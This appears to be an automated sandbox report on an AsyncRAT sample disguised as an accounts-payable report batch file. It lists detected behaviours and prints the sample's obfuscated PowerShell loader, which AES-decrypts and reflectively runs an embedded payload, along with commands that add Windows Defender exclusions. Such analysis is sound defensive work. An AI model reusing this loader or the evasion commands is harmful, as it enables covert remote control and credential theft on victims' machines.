Analysis
- max time kernel
101s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20221111-en - resource tags
- submitted
13/02/2023, 12:00
General
- Target 20230209_{Host}_AP_SOA_Report_List_xlsm.bat
- Size 2.0MB
- Sample230213-n6bd4sda47
- SHA256 ef69f3e6161a2dbecefb9b991023e062877415ad1c1be084e6d331a91a74e596
Malware Config
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 2 IoCs
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\20230209_{Host}_AP_SOA_Report_List_xlsm.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe"20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $EMBHh = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\20230209_{Host}_AP_SOA_Report_List_xlsm.bat').Split([Environment]::NewLine);foreach ($iQiFl in $EMBHh) { if ($iQiFl.StartsWith(':: ')) { $iqlHm = $iQiFl.Substring(3); break; }; };$yRwkm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($iqlHm);$mKTZm = New-Object System.Security.Cryptography.AesManaged;$mKTZm.Mode = [System.Security.Cryptography.CipherMode]::CBC;$mKTZm.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$mKTZm.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JG+Ia3JZe/MKwGbuiHyPmf0ApNMIq96N1brUgIc0hwk=');$mKTZm.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YPz1EBRzBt62/v/7gJf5vw==');$WLuDW = $mKTZm.CreateDecryptor();$yRwkm = $WLuDW.TransformFinalBlock($yRwkm, 0, $yRwkm.Length);$WLuDW.Dispose();$mKTZm.Dispose();$eewXo = New-Object System.IO.MemoryStream(, $yRwkm);$dcVsi = New-Object System.IO.MemoryStream;$pdkvL = New-Object System.IO.Compression.GZipStream($eewXo, [IO.Compression.CompressionMode]::Decompress);$pdkvL.CopyTo($dcVsi);$pdkvL.Dispose();$eewXo.Dispose();$dcVsi.Dispose();$yRwkm = $dcVsi.ToArray();$ahthx = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($yRwkm);$brARz = $ahthx.EntryPoint;$brARz.Invoke($null, (, [string[]] ('')))2⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\20230209_{Host}_AP_SOA_Report_List_xlsm.bat'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '20230209_{Host}_AP_SOA_Report_List_xlsm.bat'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\20230209_{Host}_AP_SOA_Report_List_xlsm.bat'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe
20230209_{Host}_AP_SOA_Report_List_xlsm.bat.exe
memory/1932-135-0x00007FFF53CF0000-0x00007FFF547B1000-memory.dmp
memory/1932-151-0x000001B3FF370000-0x000001B3FF898000-memory.dmp
memory/1932-150-0x000001B3FEC70000-0x000001B3FEE32000-memory.dmp
memory/1932-134-0x000001B3FAA20000-0x000001B3FAA42000-memory.dmp
memory/1932-149-0x00007FFF53CF0000-0x00007FFF547B1000-memory.dmp
memory/3472-142-0x00007FFF53CF0000-0x00007FFF547B1000-memory.dmp
memory/3472-144-0x00007FFF53CF0000-0x00007FFF547B1000-memory.dmp
memory/3512-139-0x00007FFF53CF0000-0x00007FFF547B1000-memory.dmp
memory/3512-138-0x00007FFF53CF0000-0x00007FFF547B1000-memory.dmp
memory/4588-147-0x00007FFF53CF0000-0x00007FFF547B1000-memory.dmp
memory/4588-148-0x00007FFF53CF0000-0x00007FFF547B1000-memory.dmp